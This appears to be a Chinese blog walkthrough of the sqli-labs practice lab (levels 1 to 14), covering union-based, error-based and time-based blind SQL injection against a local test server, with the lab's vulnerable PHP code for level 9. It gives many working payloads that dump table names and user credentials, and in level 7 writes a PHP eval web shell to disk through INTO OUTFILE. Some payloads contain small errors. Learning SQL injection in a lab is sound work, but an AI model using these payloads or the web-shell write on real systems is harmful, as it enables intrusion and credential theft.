sqli_lab

本文深入探讨了SQL注入攻击,包括各种类型的闭合方式,如单引号、双引号、报错注入、时间盲注等。通过示例展示了如何利用闭合、联合查询、错误信息和延迟注入来获取数据库信息,如库名、表名、列名和数据。同时,文章还涵盖了应对WAF和不同过滤方式的注入技巧,以及堆叠查询注入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

读写文件

image-20220304214048120

此状态不允许导入导出状态

image-20220304214250075

修改限制成功

image-20220304220515223

– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

显示位:

这个显示位指的是网页中能够显示数据的位置。

举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息。

  1. information_schema:表示所有信息,包括库、表、列

  2. information_schema.tables:记录所有表名信息的表

  3. information_schema.columns:记录所有列名信息的表

  4. table_schema:数据库的名称

  5. table_name:表名

  6. column_name:列名

  7. group_concat():显示所有查询到的数据

  8. concat()函数

    1)、功能:将多个字符串连接成一个字符串。

    2)、语法:concat(str1, str2,…)

    返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

  9. limit子句用于限制查询结果返回的数量。

    用法:【select * from tableName limit i,n 】

    参数

    • tableName : 为数据表;
    • i : 为查询结果的索引值(默认从0开始);
    • n : 为查询结果返回的数量

Less-1

1.经过语句

1 and 1=2 --+

测试 ,页面回显正常,所以该地方不是数值查询

image-20220302124408851

2.接着尝试在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入

image-20220302124633275

3.判断注入类型:

1).假设为数字型:

1 and 1=1
1 and 1=2

都回显正常,说明不是数字型

image-20220302114118389

image-20220302114142655

2).假设为字符型

1' and '1'='1
1' and '1'='2

当执行1’ and ‘1’='2语句时,页面返回异常,确定为字符型注入

image-20220302115744428

4.order by猜解字段

?id=1' order by 3--+
?id=1' order by 4--+

image-20220302125747814

image-20220302125803728

order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。

5.确定显示位

知道了表中的列数我们还需要查询回显位,因为虽然知道了列数,但我们需要sql注入返回信息到我们手中。对于一个网页,如果它的列数有三列,但可能只有1,2列的数据返回页面前端。所以我们需要查询哪个字段数会回显,所以我们用union select 1,2,3来查看回显位。

union select后面加数字串时,如果没有后面的表名,该语句没有向任何一个数据库查询,那么它输出的内容就是我们select后的数字(数字串不一定要1,2,3,也可以是随便的数字如1,342,3522)。

所以这个时候我们可以用union select 1,2,3来做一个快速查询,根据显示在页面上的数字判断哪个数字所在的地方是“通道”,那我们只需要把这个数字改成我们要查询的内容就好了。

利用联合查询语句,是前面的查询语句失效,然后利用select语句在表的添加一条临时的记录1,2,3,使页面显示对应的数字,从而判断网页中显示的是哪几个字段的数据信息。如下图,对应的信息显示位为2和3,可以知道,当前查询语句查询的是表格的第2,3个字段的内容。

image-20220302131458630

6.利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

注意 id=非正确值

库名:security

?id=-1' union select 1,2,database() --+

image-20220302131821659

表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

可以显示指定数据库中的所有表名

image-20220302132523593

列名:

?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

image-20220302132859485

密码:

?id=-1' union select 1,2,group_concat(password) from users --+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1HVrU5h-1646486086872)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220302135108457.png)]

用户名:

?id=-1' union select 1,2,group_concat(username) from users --+

image-20220302135211895

Less-2

1.判断是否存在sql注入,页面返回异常,存在sql注入

?id=1'

image-20220302135441761

2.判断类型

根据语句,判断为数值型注入

?id=1 and 1=1
?id=1 and 1=2

image-20220302135819182

3.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据

接着可以使用联合查询进行注入,详细过程参考第一关

Less-3

通过基础判断,确定为字符型注入

输入语句查询数据:页面返回异常

image-20220302141334696

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=(‘1’) …,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,执行sql语句查询数据即可

Less-4

与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入

1.当输入

?id=2" --+

时,页面显示不正常

image-20220302141812976

2.当输入

?id=2") --+

image-20220302141840698

页面正常

Less-5

image-20220302142057093

看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了

报错型注入:

count(*):函数返回给定选择中被选的函数
concat():连接字符串,比如 concat(‘a’,’b’) 就是ab
floor():向下取整
rand():随机数函数
rand(0):伪随机数,生成的随机数有规律
floor(rand(0)*2) :生成的随机数存在规律0110110011101

floor使用方法 and (select 1 from (select count(),concat((payload),floor (rand(0)\*2))x from information_schema.tables group by x)a) --+

floor报错注入满足的条件是数据库中要查询的数据至少3条以上

使用 floor()、count()、group by 的SQL 注入语句:

?id=1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+

我们输入的URL放入到sql语句中,就成了:

“select * from users where id=‘1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+ ’ LIMIT 0,1”

这时,一步一步分解 sql 语句可以看到

concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )

的目的是将要查询信息的语句
select schema_name from information_schema.schemata limit 0,1floor( rand( 0 )*2 )
concat() 连接起来,这样就可以通过报错,将要查询的信息爆出来了。

concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x
当中的 x 是相当于给这一串字符添加了一个别名,即 x 就等于
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )
这样做的目的是,省得后面再次使用这一长条字符的时候麻烦,可以直接使用它的别名来代替。

所以,这条语句
select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x
就可以分解简单的看成
select count(*), x from information_schema.schemata group by x
这里的 x 就是上面讲到的一长串字符的别名,x 里面连接包含了要查询的语句和floor(rand(0)*2),是 floor() 报错的关键核心SQL语句。

但是如果就这样放到URL里面去执行肯定不行,因为没有和 select * from users where id=‘1’ 拼接到一起,不能一起执行,所以我们需要用到 and 运算符。

and 运算符简介:
and 运算符通常用在select,update,detele 语句的 where 子句中以形成布尔表达式。
and 运算符是组合两个或多个布尔表达式的逻辑运算符。

sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。这时,我们先将我们的语句变成这样:
( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b
就是给了这一长串字符一个别名:b

最后我们用到的 and 运算符,将 id = ‘1’ 与 这边结果连着一起,但是又必须是布尔型,就是说返还的结果不是 1,就是 0。所以我们就在 b 的基础上再执行查询,也就响应了为什么上面要给一个别名 b 了,因为sql语句要求在查询结果的基础上再执行查询时, 必须给定一个别名,这时用 select 1 from b 语句,返还布尔值,与 select * from users where id=‘1’ 连接在一起,这样就可以执行成功了。

可以更改 limt 子句后面的参数来决定显示出来的信息,因为报错信息的长度有限,不能直接全部输出出来。

报错注入的概念:

(1). 通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64位
(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位

爆库名:

limit 0,1 数据库名为information_schema

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

image-20220302225905668

limit 1,1 数据库名为blog1

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

image-20220302230116869

以此类推。
但有种简便方法一步到位

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

image-20220302230335442

爆表名:

users

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

image-20220303114424715

爆列名:

修改limit x,1 可以遍历列名,找到username和password列

user pass

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

image-20220303115925015

image-20220303120146029

获取信息:

用户名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

image-20220303120737956

密码

http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

image-20220303120927871

Less-6

与第5关类似,只不过这一关使用的是 ""的方式闭合字符串

我们只需要将?id=2’ 改为 ?id=2"即可

image-20220303121925907

Less-7

数据库file权限

数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限

into outfile命令

使用的环境:

我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

第七关标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。

1.我们正常输入?id=1页面回显如下

image-20220303122042517

2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入

image-20220303122108775

3.当我们输入?id=1’页面报错,说明可能存在"注入

image-20220303122219103

4…当我们输入?id=1’ --+页面显示依然不正常

image-20220303122209357

5.接着我们尝试?id=1’) --+,页面依然显示不正常

image-20220303122312929

6.我们可以接着输入?id=1") --+尝试,发现页面回显正常

image-20220303122503101

我们个简单题less-2直接注入拿到路径,方便导出。

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

image-20220303163246612

D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\12.php

注入less-7

payload

?id=1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile "D:\\phpstudy_pro\\Extensions\\www\\12.php"--+

虽然回显报错,但是查看本地文件已经写入了12.php,接下来连接蚁剑。

连接之前最好用浏览器访问一下,相当于运行一下,否则可能连不上。

地址:php一句话木马的地址,后面的口令就是刚才写的post里写的pass

连接成功

Less-8

?id=1' --+ 

页面回显正常,这里是单引号字符型注入

image-20220303165415529

2.页面没有显示位,没有数据库报错信息。

我们先尝试一下是否有file权限

?id=1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\Extensions\\WWW\\88888.php"--+

上传成功

image-20220303171415803

Less-9

看标题,应该是让我们用时间盲注,并且还有单引号对参数进行包装

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>
 
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
 
 
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
 
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
 
?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>

从源码可以看出,无论我们的SQL注入在后端拼接的语句是否正确,都只会给我返回you are in…这样的句子,所以不太符合布尔盲注的特征,就是有两个不一样的返回界面。

所以我们采用延时注入猜解数据

查询库名长度:

?id=1' if(length(database())=8,sleep(3),1)--+

产生延迟,所以库名长为8

猜数据库名第一位:

(如果数据错误,则会延迟)

?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(10))--+

image-20220305174650238

没有延迟,说明第一个字符是s,然后以此类推得出数据库名为security

猜表名第一位:

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(10))--+

image-20220305174912676

会看到有明显的延迟

猜字段:

?id=1' if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1)--+

image-20220305175713605

产生延迟

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

猜值:

?id=1' and if(left((select password from user order by id limit 0,1),4)='dumb',sleep(5),1) --+ 
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

Less-10

GET - Blind - Time based - double quotes (基于时间的双引号盲注)

基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入。

11到21关的提交方式全是post型的,采用BP抓包实现猜解

Less-11

根据提示,因为是post方式提交,所以

1.输入admin admin 登陆,抓包,发送到repeater模块

image-20220305181337361

在repeater中通过修改post的参数进行注入。

image-20220305181440275

加入单引号存在sql注入,并报错,所以我们可以采用报错注入,也可以联合查询

image-20220305181558878

说明是基于单引号的报错注入

我们用extractvalue()

爆库

admin' and extractvalue(1,concat('^',(select(database())),'^')) --+

image-20220305182333705

爆表

admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

image-20220305182708927

爆列名

admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+

image-20220305182945067

爆值

admin' and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

image-20220305183339399

Less-12

双引号加括号报错型注入

可以使用上一题的payload只需要修改单引号为双引号加括号

image-20220305195000695

爆库

admin") and extractvalue(1,concat('^',(select(database())),'^')) --+

爆表

admin") and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

爆列名

admin") and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+

爆值

admin") and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

image-20220305195158918

Less-13

image-20220305195459698

通过报错可知 是通过’) 闭合的,有回显,可通过报错注入获取数据

image-20220305195529243

但发现没有登入成功返回信息

判断页面是否有布尔类型状态:

uname=admin') and ('1')=('1 --+&passwd=admin&submit=Submit

image-20220305200129895

uname=admin') and ('1')=('2 --+&passwd=admin&submit=Submit

image-20220305200203800

页面没有布尔状态,只能用延时注入

方法一,报错型

admin') and updatexml(1,concat('^',(select database()),'^'),1) --+ 

image-20220305200912204

admin') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

image-20220305201041051

最后得到用户名与密码:

admin') and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

image-20220305201141342

方法二,时间型盲注

admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

image-20220305201241039

有延迟,说明注入成功

这就又和之前的一样了,按照时间盲注判断即可

Less-14

用双引号对参数进行了包装

image-20220305201612872

有报错,绕过后不显示登陆成功:

image-20220305201546047

和上题一样,采用报错注入和延时注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值